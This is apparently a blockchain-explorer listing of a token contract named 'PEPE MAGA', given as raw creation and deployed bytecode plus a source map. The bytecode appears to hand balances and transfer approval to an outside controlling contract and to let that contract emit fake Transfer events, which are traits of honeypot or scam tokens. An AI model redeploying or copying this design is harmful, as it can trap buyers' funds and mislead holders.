201168201806040525081019061042f9190611148565b90506001811461043e57919050565b505060045490565b5f33610453858285610b64565b61045e858585610bdc565b506001949350505050565b5f6104726105c0565b905090565b5f336103a1818585610489838361090c565b610493919061115f565b6109af565b60405163191e3d9b60e31b81526001600160a01b0382811660048301525f9182917f0000000000000000000000000000000000000000000000000000000000000000169063c8f1ecd890602401602060405180830381865afa158015610500573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105249190611148565b90505f198110156105355792915050565b50506001600160a01b03165f9081526002602052604090205490565b610559610cfc565b6105625f610d56565b565b61056c610cfc565b600a80546001600160a01b0319166001600160a01b0383169081179091556040519081527ff73b20affc55f5699bb23d33bb08b5b069665b4b865fc8683d6e974d6a4c23519060200160405180910390a150565b5f306001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614801561061857507f000000000000000000000000000000000000000000000000000000000000000046145b1561064257507f000000000000000000000000000000000000000000000000000000000000000090565b6104726106ed565b6001600160a01b0381165f908152600760205260408120546103a7565b5f606080828080836106997f000000000000000000000000000000000000000000000000000000000000000083610da7565b6106c47f00000000000000000000000000000000000000000000000000000000000000006001610da7565b604080515f80825260208201909252600f60f81b9b939a50919850469750309650945092509050565b6040805173db4411a11455baddd894294ffef408adb5cb4b9960208201527f0000000000000000000000000000000000000000000000000000000000000000918101919091527f000000000000000000000000000000000000000000000000000000000000000060608201524660808201523060a08201525f9060c00160405160208183030381529060405280519060200120905090565b60606006805461031390611110565b5f33816107a1828661090c565b9050838110156108065760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61045e82868684036109af565b5f336103a1818585610bdc565b5f6103a761082c6105c0565b8360405161190160f01b8152600281019290925260228201526042902090565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610880575f80fd5b5f5b828110156109055783838281811061089c5761089c61117e565b90506020020160208101906108b19190610f96565b6001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108f591815260200190565b60405180910390a3600101610882565b5050505050565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61093e610cfc565b6001600160a01b0381166109a35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107fd565b6109ac81610d56565b50565b6001600160a01b038316610a115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107fd565b6001600160a01b038216610a725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107fd565b6001600160a01b0383163303610b04577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166395ae06046040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ade573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b029190611148565b505b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610b6f848461090c565b90505f198114610bd65781811015610bc95760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016107fd565b610bd684848484036109af565b50505050565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c2191815260200190565b60405180910390a3604080516001600160a01b038581166024830152848116604483015260648201849052336084808401919091528351808403909101815260a490920183526020820180516001600160e01b0316638ace9e7960e01b17905291515f927f00000000000000000000000000000000000000000000000000000000000000001691610cb191611192565b5f604051808303815f865af19150503d805f8114610cea576040519150601f19603f3d011682016040523d82523d5f602084013e610cef565b606091505b5050905080610bd6575f80fd5b6009546001600160a01b031633146105625760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107fd565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b606060ff8314610dc157610dba83610e50565b90506103a7565b818054610dcd90611110565b80601f0160208091040260200160405190810160405280929190818152602001828054610df990611110565b8015610e445780601f10610e1b57610100808354040283529160200191610e44565b820191905f5260205f20905b815481529060010190602001808311610e2757829003601f168201915b505050505090506103a7565b60605f610e5c83610e8d565b6040805160208082528183019092529192505f91906020820181803683375050509182525060208101929092525090565b5f60ff8216601f8111156103a757604051632cd44ac360e21b815260040160405180910390fd5b5f5b83811015610ece578181015183820152602001610eb6565b50505f910152565b5f8151808452610eed816020860160208601610eb4565b601f01601f19169290920160200192915050565b602081525f610f136020830184610ed6565b9392505050565b80356001600160a01b0381168114610f30575f80fd5b919050565b5f8060408385031215610f46575f80fd5b610f4f83610f1a565b946020939093013593505050565b5f805f60608486031215610f6f575f80fd5b610f7884610f1a565b9250610f8660208501610f1a565b9150604084013590509250925092565b5f60208284031215610fa6575f80fd5b610f1382610f1a565b60ff60f81b881681525f602060e081840152610fce60e084018a610ed6565b8381036040850152610fe0818a610ed6565b606085018990526001600160a01b038816608086015260a0850187905284810360c086015285518082528387019250908301905f5b8181101561103157835183529284019291840191600101611015565b50909c9b505050505050505050505050565b5f60208284031215611053575f80fd5b5035919050565b5f805f806060858703121561106d575f80fd5b61107685610f1a565b9350602085013567ffffffffffffffff80821115611092575f80fd5b818701915087601f8301126110a5575f80fd5b8135818111156110b3575f80fd5b8860208260051b85010111156110c7575f80fd5b95986020929092019750949560400135945092505050565b5f80604083850312156110f0575f80fd5b6110f983610f1a565b915061110760208401610f1a565b90509250929050565b600181811c9082168061112457607f821691505b60208210810361114257634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215611158575f80fd5b5051919050565b808201808211156103a757634e487b7160e01b5f52601160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f82516111a3818460208701610eb4565b919091019291505056fea264697066735822122086f0b1c7d25d17106b4ba4098f31aca12207bd27ebbdd26ce7c492abf2ba114664736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610148575f3560e01c80637b134b4c116100bf578063a457c2d711610079578063a457c2d714610292578063a9059cbb146102a5578063c8f1ecd8146102b8578063d93aef11146102cb578063dd62ed3e146102de578063f2fde38b146102f1575f80fd5b80637b134b4c1461023b5780637ecebe001461024357806384b0196e146102565780638da5cb5b1461027157806395ae06041461028257806395d89b411461028a575f80fd5b8063313ce56711610110578063313ce567146101e15780633644e515146101f057806339509351146101f857806370a082311461020b578063715018a61461021e5780637764b4d214610228575f80fd5b806306fdde031461014c578063095ea7b31461016a578063104e99291461018d57806318160ddd146101b857806323b872dd146101ce575b5f80fd5b610154610304565b6040516101619190610f01565b60405180910390f35b61017d610178366004610f35565b610394565b6040519015158152602001610161565b600a546101a0906001600160a01b031681565b6040516001600160a01b039091168152602001610161565b6101c06103ad565b604051908152602001610161565b61017d6101dc366004610f5d565b610446565b60405160128152602001610161565b6101c0610469565b61017d610206366004610f35565b610477565b6101c0610219366004610f96565b610498565b610226610551565b005b610226610236366004610f96565b610564565b6101c06105c0565b6101c0610251366004610f96565b61064a565b61025e610667565b6040516101619796959493929190610faf565b6009546001600160a01b03166101a0565b6101c06106ed565b610154610785565b61017d6102a0366004610f35565b610794565b61017d6102b3366004610f35565b610813565b6101c06102c6366004611043565b610820565b6102266102d936600461105a565b61084c565b6101c06102ec3660046110df565b61090c565b6102266102ff366004610f96565b610936565b60606005805461031390611110565b80601f016020809104026020016040519081016040528092919081815260200182805461033f90611110565b801561038a5780601f106103615761010080835404028352916020019161038a565b820191905f5260205f20905b81548152906001019060200180831161036d57829003601f168201915b5050505050905090565b5f336103a18185856109af565b60019150505b92915050565b5f807f000000000000000000000000cf0ae7fa8e6dd58e3eb537ceece1ef3e281dab866001600160a01b0316637b134b4c6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561040b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061042f9190611148565b90506001811461043e57919050565b505060045490565b5f33610453858285610b64565b61045e858585610bdc565b506001949350505050565b5f6104726105c0565b905090565b5f336103a1818585610489838361090c565b610493919061115f565b6109af565b60405163191e3d9b60e31b81526001600160a01b0382811660048301525f9182917f000000000000000000000000cf0ae7fa8e6dd58e3eb537ceece1ef3e281dab86169063c8f1ecd890602401602060405180830381865afa158015610500573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105249190611148565b90505f198110156105355792915050565b50506001600160a01b03165f9081526002602052604090205490565b610559610cfc565b6105625f610d56565b565b61056c610cfc565b600a80546001600160a01b0319166001600160a01b0383169081179091556040519081527ff73b20affc55f5699bb23d33bb08b5b069665b4b865fc8683d6e974d6a4c23519060200160405180910390a150565b5f306001600160a01b037f000000000000000000000000cf0ae7fa8e6dd58e3eb537ceece1ef3e281dab861614801561061857507f000000000000000000000000000000000000000000000000000000000000000146145b1561064257507f2e73f487d729126299fea22a9f9c4f4f06bee8d953c3bbb91f8662d9d335a14290565b6104726106ed565b6001600160a01b0381165f908152600760205260408120546103a7565b5f606080828080836106997f50455045204d414741000000000000000000000000000000000000000000000983610da7565b6106c47f31000000000000000000000000000000000000000000000000000000000000016001610da7565b604080515f80825260208201909252600f60f81b9b939a50919850469750309650945092509050565b6040805173db4411a11455baddd894294ffef408adb5cb4b9960208201527fbfc5200dd1e9a760d649e264f1fa7d52ca27785e0518f6e3f2de1dae97861ccd918101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a08201525f9060c00160405160208183030381529060405280519060200120905090565b60606006805461031390611110565b5f33816107a1828661090c565b9050838110156108065760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61045e82868684036109af565b5f336103a1818585610bdc565b5f6103a761082c6105c0565b8360405161190160f01b8152600281019290925260228201526042902090565b336001600160a01b037f000000000000000000000000cf0ae7fa8e6dd58e3eb537ceece1ef3e281dab861614610880575f80fd5b5f5b828110156109055783838281811061089c5761089c61117e565b90506020020160208101906108b19190610f96565b6001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108f591815260200190565b60405180910390a3600101610882565b5050505050565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61093e610cfc565b6001600160a01b0381166109a35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107fd565b6109ac81610d56565b50565b6001600160a01b038316610a115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107fd565b6001600160a01b038216610a725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107fd565b6001600160a01b0383163303610b04577f000000000000000000000000cf0ae7fa8e6dd58e3eb537ceece1ef3e281dab866001600160a01b03166395ae06046040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ade573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b029190611148565b505b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610b6f848461090c565b90505f198114610bd65781811015610bc95760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016107fd565b610bd684848484036109af565b50505050565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c2191815260200190565b60405180910390a3604080516001600160a01b038581166024830152848116604483015260648201849052336084808401919091528351808403909101815260a490920183526020820180516001600160e01b0316638ace9e7960e01b17905291515f927f000000000000000000000000cf0ae7fa8e6dd58e3eb537ceece1ef3e281dab861691610cb191611192565b5f604051808303815f865af19150503d805f8114610cea576040519150601f19603f3d011682016040523d82523d5f602084013e610cef565b606091505b5050905080610bd6575f80fd5b6009546001600160a01b031633146105625760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107fd565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b606060ff8314610dc157610dba83610e50565b90506103a7565b818054610dcd90611110565b80601f0160208091040260200160405190810160405280929190818152602001828054610df990611110565b8015610e445780601f10610e1b57610100808354040283529160200191610e44565b820191905f5260205f20905b815481529060010190602001808311610e2757829003601f168201915b505050505090506103a7565b60605f610e5c83610e8d565b6040805160208082528183019092529192505f91906020820181803683375050509182525060208101929092525090565b5f60ff8216601f8111156103a757604051632cd44ac360e21b815260040160405180910390fd5b5f5b83811015610ece578181015183820152602001610eb6565b50505f910152565b5f8151808452610eed816020860160208601610eb4565b601f01601f19169290920160200192915050565b602081525f610f136020830184610ed6565b9392505050565b80356001600160a01b0381168114610f30575f80fd5b919050565b5f8060408385031215610f46575f80fd5b610f4f83610f1a565b946020939093013593505050565b5f805f60608486031215610f6f575f80fd5b610f7884610f1a565b9250610f8660208501610f1a565b9150604084013590509250925092565b5f60208284031215610fa6575f80fd5b610f1382610f1a565b60ff60f81b881681525f602060e081840152610fce60e084018a610ed6565b8381036040850152610fe0818a610ed6565b606085018990526001600160a01b038816608086015260a0850187905284810360c086015285518082528387019250908301905f5b8181101561103157835183529284019291840191600101611015565b50909c9b505050505050505050505050565b5f60208284031215611053575f80fd5b5035919050565b5f805f806060858703121561106d575f80fd5b61107685610f1a565b9350602085013567ffffffffffffffff80821115611092575f80fd5b818701915087601f8301126110a5575f80fd5b8135818111156110b3575f80fd5b8860208260051b85010111156110c7575f80fd5b95986020929092019750949560400135945092505050565b5f80604083850312156110f0575f80fd5b6110f983610f1a565b915061110760208401610f1a565b90509250929050565b600181811c9082168061112457607f821691505b60208210810361114257634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215611158575f80fd5b5051919050565b808201808211156103a757634e487b7160e01b5f52601160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f82516111a3818460208701610eb4565b919091019291505056fea264697066735822122086f0b1c7d25d17106b4ba4098f31aca12207bd27ebbdd26ce7c492abf2ba114664736f6c63430008140033

Deployed Bytecode Sourcemap

67153:710:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;51349:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;53960:201;;;;;;:::i;:::-;;:::i;:::-;;;1372:14:1;;1365:22;1347:41;;1335:2;1320:18;53960:201:0;1207:187:1;67288:24:0;;;;;-1:-1:-1;;;;;67288:24:0;;;;;;-1:-1:-1;;;;;1563:32:1;;;1545:51;;1533:2;1518:18;67288:24:0;1399:203:1;52478:194:0;;;:::i;:::-;;;1753:25:1;;;1741:2;1726:18;52478:194:0;1607:177:1;54741:272:0;;;;;;:::i;:::-;;:::i;52320:93::-;;;52403:2;2264:36:1;;2252:2;2237:18;52320:93:0;2122:184:1;64004:115:0;;;:::i;55422:238::-;;;;;;:::i;:::-;;:::i;52735:281::-;;;;;;:::i;:::-;;:::i;66302:103::-;;;:::i;:::-;;67714:146;;;;;;:::i;:::-;;:::i;5337:275::-;;;:::i;63746:128::-;;;;;;:::i;:::-;;:::i;6703:657::-;;;:::i;:::-;;;;;;;;;;;;;:::i;65661:87::-;65734:6;;-1:-1:-1;;;;;65734:6:0;65661:87;;5620:181;;;:::i;51568:104::-;;;:::i;56163:436::-;;;;;;:::i;:::-;;:::i;53222:204::-;;;;;;:::i;:::-;;:::i;6443:165::-;;;;;;:::i;:::-;;:::i;63361:319::-;;;;;;:::i;:::-;;:::i;53489:151::-;;;;;;:::i;:::-;;:::i;66560:201::-;;;;;;:::i;:::-;;:::i;51349:100::-;51403:13;51436:5;51429:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;51349:100;:::o;53960:201::-;54043:4;738:10;54099:32;738:10;54115:7;54124:6;54099:8;:32::i;:::-;54149:4;54142:11;;;53960:201;;;;;:::o;52478:194::-;52539:7;52559:9;52579:11;-1:-1:-1;;;;;52579:30:0;;:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;52571:41;-1:-1:-1;52623:1:0;52618:6;;52614:20;;52633:1;52478:194;-1:-1:-1;52478:194:0:o;52614:20::-;-1:-1:-1;;52652:12:0;;;52478:194::o;54741:272::-;54838:4;738:10;54896:38;54912:4;738:10;54927:6;54896:15;:38::i;:::-;54945;54966:4;54972:2;54976:6;54945:20;:38::i;:::-;-1:-1:-1;55001:4:0;;54741:272;-1:-1:-1;;;;54741:272:0:o;64004:115::-;64064:7;64091:20;:18;:20::i;:::-;64084:27;;64004:115;:::o;55422:238::-;55510:4;738:10;55566:64;738:10;55582:7;55619:10;55591:25;738:10;55582:7;55591:9;:25::i;:::-;:38;;;;:::i;:::-;55566:8;:64::i;52735:281::-;52856:64;;-1:-1:-1;;;52856:64:0;;-1:-1:-1;;;;;52893:25:0;;;52856:64;;;1753:25:1;52809:7:0;;;;52856:11;:28;;;;1726:18:1;;52856:64:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;52848:73;-1:-1:-1;;;52927:28:0;;52923:49;;;52964:8;52735:281;-1:-1:-1;;52735:281:0:o;52923:49::-;-1:-1:-1;;;;;;;52990:18:0;;;;;:9;:18;;;;;;;52735:281::o;66302:103::-;65547:13;:11;:13::i;:::-;66367:30:::1;66394:1;66367:18;:30::i;:::-;66302:103::o:0;67714:146::-;65547:13;:11;:13::i;:::-;67786:9:::1;:22:::0;;-1:-1:-1;;;;;;67786:22:0::1;-1:-1:-1::0;;;;;67786:22:0;::::1;::::0;;::::1;::::0;;;67824:28:::1;::::0;1545:51:1;;;67824:28:0::1;::::0;1533:2:1;1518:18;67824:28:0::1;;;;;;;67714:146:::0;:::o;5337:275::-;5388:7;5420:4;-1:-1:-1;;;;;5437:11:0;5412:37;;:72;;;;;5470:14;5453:13;:31;5412:72;5408:197;;;-1:-1:-1;5508:22:0;;5337:275::o;5408:197::-;5570:23;:21;:23::i;63746:128::-;-1:-1:-1;;;;;63842:14:0;;63815:7;63842:14;;;:7;:14;;;;;43288;63842:24;43196:114;6703:657;6824:13;6852:18;;6824:13;;;6852:18;7126:41;:5;6824:13;7126:26;:41::i;:::-;7182:47;:8;7212:16;7182:29;:47::i;:::-;7325:16;;;7308:1;7325:16;;;;;;;;;-1:-1:-1;;;7073:279:0;;;-1:-1:-1;7073:279:0;;-1:-1:-1;7244:13:0;;-1:-1:-1;7280:4:0;;-1:-1:-1;7308:1:0;-1:-1:-1;7325:16:0;-1:-1:-1;7073:279:0;-1:-1:-1;6703:657:0:o;5620:181::-;5711:81;;;3448:49;5711:81;;;6390:34:1;5734:11:0;6440:18:1;;;6433:34;;;;5747:14:0;6483:18:1;;;6476:34;5763:13:0;6526:18:1;;;6519:34;5786:4:0;6569:19:1;;;6562:44;5674:7:0;;6324:19:1;;5711:81:0;;;;;;;;;;;;5701:92;;;;;;5694:99;;5620:181;:::o;51568:104::-;51624:13;51657:7;51650:14;;;;;:::i;56163:436::-;56256:4;738:10;56256:4;56339:25;738:10;56356:7;56339:9;:25::i;:::-;56312:52;;56403:15;56383:16;:35;;56375:85;;;;-1:-1:-1;;;56375:85:0;;6819:2:1;56375:85:0;;;6801:21:1;6858:2;6838:18;;;6831:30;6897:34;6877:18;;;6870:62;-1:-1:-1;;;6948:18:1;;;6941:35;6993:19;;56375:85:0;;;;;;;;;56496:60;56505:5;56512:7;56540:15;56521:16;:34;56496:8;:60::i;53222:204::-;53301:4;738:10;53357:39;738:10;53385:2;53389:6;53357:20;:39::i;6443:165::-;6518:7;6545:55;6567:20;:18;:20::i;:::-;6589:10;41762:4;41756:11;-1:-1:-1;;;41781:23:0;;41834:4;41825:14;;41818:39;;;;41887:4;41878:14;;41871:34;41942:4;41927:20;;;41559:406;63361:319;63478:10;-1:-1:-1;;;;;63500:11:0;63478:34;;63470:43;;;;;;63554:9;63549:113;63569:18;;;63549:113;;;63630:7;;63638:1;63630:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;63614:34:0;63623:5;-1:-1:-1;;;;;63614:34:0;;63642:5;63614:34;;;;1753:25:1;;1741:2;1726:18;;1607:177;63614:34:0;;;;;;;;63589:3;;63549:113;;;;63361:319;;;;:::o;53489:151::-;-1:-1:-1;;;;;53605:18:0;;;53578:7;53605:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;53489:151::o;66560:201::-;65547:13;:11;:13::i;:::-;-1:-1:-1;;;;;66649:22:0;::::1;66641:73;;;::::0;-1:-1:-1;;;66641:73:0;;7357:2:1;66641:73:0::1;::::0;::::1;7339:21:1::0;7396:2;7376:18;;;7369:30;7435:34;7415:18;;;7408:62;-1:-1:-1;;;7486:18:1;;;7479:36;7532:19;;66641:73:0::1;7155:402:1::0;66641:73:0::1;66725:28;66744:8;66725:18;:28::i;:::-;66560:201:::0;:::o;59321:417::-;-1:-1:-1;;;;;59423:19:0;;59415:68;;;;-1:-1:-1;;;59415:68:0;;7764:2:1;59415:68:0;;;7746:21:1;7803:2;7783:18;;;7776:30;7842:34;7822:18;;;7815:62;-1:-1:-1;;;7893:18:1;;;7886:34;7937:19;;59415:68:0;7562:400:1;59415:68:0;-1:-1:-1;;;;;59502:21:0;;59494:68;;;;-1:-1:-1;;;59494:68:0;;8169:2:1;59494:68:0;;;8151:21:1;8208:2;8188:18;;;8181:30;8247:34;8227:18;;;8220:62;-1:-1:-1;;;8298:18:1;;;8291:32;8340:19;;59494:68:0;7967:398:1;59494:68:0;-1:-1:-1;;;;;59577:19:0;;:10;:19;59573:60;;59598:11;-1:-1:-1;;;;;59598:33:0;;:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;59573:60;-1:-1:-1;;;;;59646:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;59698:32;;1753:25:1;;;59698:32:0;;1726:18:1;59698:32:0;;;;;;;59321:417;;;:::o;60029:419::-;60130:24;60157:25;60167:5;60174:7;60157:9;:25::i;:::-;60130:52;;-1:-1:-1;;60197:16:0;:37;60193:248;;60279:6;60259:16;:26;;60251:68;;;;-1:-1:-1;;;60251:68:0;;8572:2:1;60251:68:0;;;8554:21:1;8611:2;8591:18;;;8584:30;8650:31;8630:18;;;8623:59;8699:18;;60251:68:0;8370:353:1;60251:68:0;60363:51;60372:5;60379:7;60407:6;60388:16;:25;60363:8;:51::i;:::-;60119:329;60029:419;;;:::o;60869:242::-;60980:2;-1:-1:-1;;;;;60965:26:0;60974:4;-1:-1:-1;;;;;60965:26:0;;60984:6;60965:26;;;;1753:25:1;;1741:2;1726:18;;1607:177;60965:26:0;;;;;;;;61031:64;;;-1:-1:-1;;;;;9015:15:1;;;61031:64:0;;;8997:34:1;9067:15;;;9047:18;;;9040:43;9099:18;;;9092:34;;;61084:10:0;9142:18:1;;;;9135:43;;;;61031:64:0;;;;;;;;;;8931:19:1;;;;61031:64:0;;;;;;;-1:-1:-1;;;;;61031:64:0;-1:-1:-1;;;61031:64:0;;;61005:91;;-1:-1:-1;;61013:11:0;61005:25;;:91;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;60993:103;;;61106:1;61098:10;;;;;65826:132;65734:6;;-1:-1:-1;;;;;65734:6:0;738:10;65890:23;65882:68;;;;-1:-1:-1;;;65882:68:0;;9683:2:1;65882:68:0;;;9665:21:1;;;9702:18;;;9695:30;9761:34;9741:18;;;9734:62;9813:18;;65882:68:0;9481:356:1;66921:191:0;67014:6;;;-1:-1:-1;;;;;67031:17:0;;;-1:-1:-1;;;;;;67031:17:0;;;;;;;67064:40;;67014:6;;;67031:17;67014:6;;67064:40;;66995:16;;67064:40;66984:128;66921:191;:::o;17761:274::-;17855:13;15706:66;17885:47;;17881:147;;17956:15;17965:5;17956:8;:15::i;:::-;17949:22;;;;17881:147;18011:5;18004:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16415:415;16474:13;16500:11;16514:16;16525:4;16514:10;:16::i;:::-;16640:14;;;16651:2;16640:14;;;;;;;;;16500:30;;-1:-1:-1;16620:17:0;;16640:14;;;;;;;;;-1:-1:-1;;;16733:16:0;;;-1:-1:-1;16779:4:0;16770:14;;16763:28;;;;-1:-1:-1;16733:16:0;16415:415::o;16907:251::-;16968:7;17041:4;17005:40;;17069:2;17060:11;;17056:71;;;17095:20;;-1:-1:-1;;;17095:20:0;;;;;;;;;;;14:250:1;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:271::-;311:3;349:5;343:12;376:6;371:3;364:19;392:76;461:6;454:4;449:3;445:14;438:4;431:5;427:16;392:76;:::i;:::-;522:2;501:15;-1:-1:-1;;497:29:1;488:39;;;;529:4;484:50;;269:271;-1:-1:-1;;269:271:1:o;545:220::-;694:2;683:9;676:21;657:4;714:45;755:2;744:9;740:18;732:6;714:45;:::i;:::-;706:53;545:220;-1:-1:-1;;;545:220:1:o;770:173::-;838:20;;-1:-1:-1;;;;;887:31:1;;877:42;;867:70;;933:1;930;923:12;867:70;770:173;;;:::o;948:254::-;1016:6;1024;1077:2;1065:9;1056:7;1052:23;1048:32;1045:52;;;1093:1;1090;1083:12;1045:52;1116:29;1135:9;1116:29;:::i;:::-;1106:39;1192:2;1177:18;;;;1164:32;;-1:-1:-1;;;948:254:1:o;1789:328::-;1866:6;1874;1882;1935:2;1923:9;1914:7;1910:23;1906:32;1903:52;;;1951:1;1948;1941:12;1903:52;1974:29;1993:9;1974:29;:::i;:::-;1964:39;;2022:38;2056:2;2045:9;2041:18;2022:38;:::i;:::-;2012:48;;2107:2;2096:9;2092:18;2079:32;2069:42;;1789:328;;;;;:::o;2493:186::-;2552:6;2605:2;2593:9;2584:7;2580:23;2576:32;2573:52;;;2621:1;2618;2611:12;2573:52;2644:29;2663:9;2644:29;:::i;2684:1259::-;3090:3;3085;3081:13;3073:6;3069:26;3058:9;3051:45;3032:4;3115:2;3153:3;3148:2;3137:9;3133:18;3126:31;3180:46;3221:3;3210:9;3206:19;3198:6;3180:46;:::i;:::-;3274:9;3266:6;3262:22;3257:2;3246:9;3242:18;3235:50;3308:33;3334:6;3326;3308:33;:::i;:::-;3372:2;3357:18;;3350:34;;;-1:-1:-1;;;;;3421:32:1;;3415:3;3400:19;;3393:61;3441:3;3470:19;;3463:35;;;3535:22;;;3529:3;3514:19;;3507:51;3607:13;;3629:22;;;3705:15;;;;-1:-1:-1;3667:15:1;;;;-1:-1:-1;3748:169:1;3762:6;3759:1;3756:13;3748:169;;;3823:13;;3811:26;;3892:15;;;;3857:12;;;;3784:1;3777:9;3748:169;;;-1:-1:-1;3934:3:1;;2684:1259;-1:-1:-1;;;;;;;;;;;;2684:1259:1:o;3948:180::-;4007:6;4060:2;4048:9;4039:7;4035:23;4031:32;4028:52;;;4076:1;4073;4066:12;4028:52;-1:-1:-1;4099:23:1;;3948:180;-1:-1:-1;3948:180:1:o;4133:757::-;4237:6;4245;4253;4261;4314:2;4302:9;4293:7;4289:23;4285:32;4282:52;;;4330:1;4327;4320:12;4282:52;4353:29;4372:9;4353:29;:::i;:::-;4343:39;;4433:2;4422:9;4418:18;4405:32;4456:18;4497:2;4489:6;4486:14;4483:34;;;4513:1;4510;4503:12;4483:34;4551:6;4540:9;4536:22;4526:32;;4596:7;4589:4;4585:2;4581:13;4577:27;4567:55;;4618:1;4615;4608:12;4567:55;4658:2;4645:16;4684:2;4676:6;4673:14;4670:34;;;4700:1;4697;4690:12;4670:34;4753:7;4748:2;4738:6;4735:1;4731:14;4727:2;4723:23;4719:32;4716:45;4713:65;;;4774:1;4771;4764:12;4713:65;4133:757;;4805:2;4797:11;;;;;-1:-1:-1;4827:6:1;;4880:2;4865:18;4852:32;;-1:-1:-1;4133:757:1;-1:-1:-1;;;4133:757:1:o;4895:260::-;4963:6;4971;5024:2;5012:9;5003:7;4999:23;4995:32;4992:52;;;5040:1;5037;5030:12;4992:52;5063:29;5082:9;5063:29;:::i;:::-;5053:39;;5111:38;5145:2;5134:9;5130:18;5111:38;:::i;:::-;5101:48;;4895:260;;;;;:::o;5160:380::-;5239:1;5235:12;;;;5282;;;5303:61;;5357:4;5349:6;5345:17;5335:27;;5303:61;5410:2;5402:6;5399:14;5379:18;5376:38;5373:161;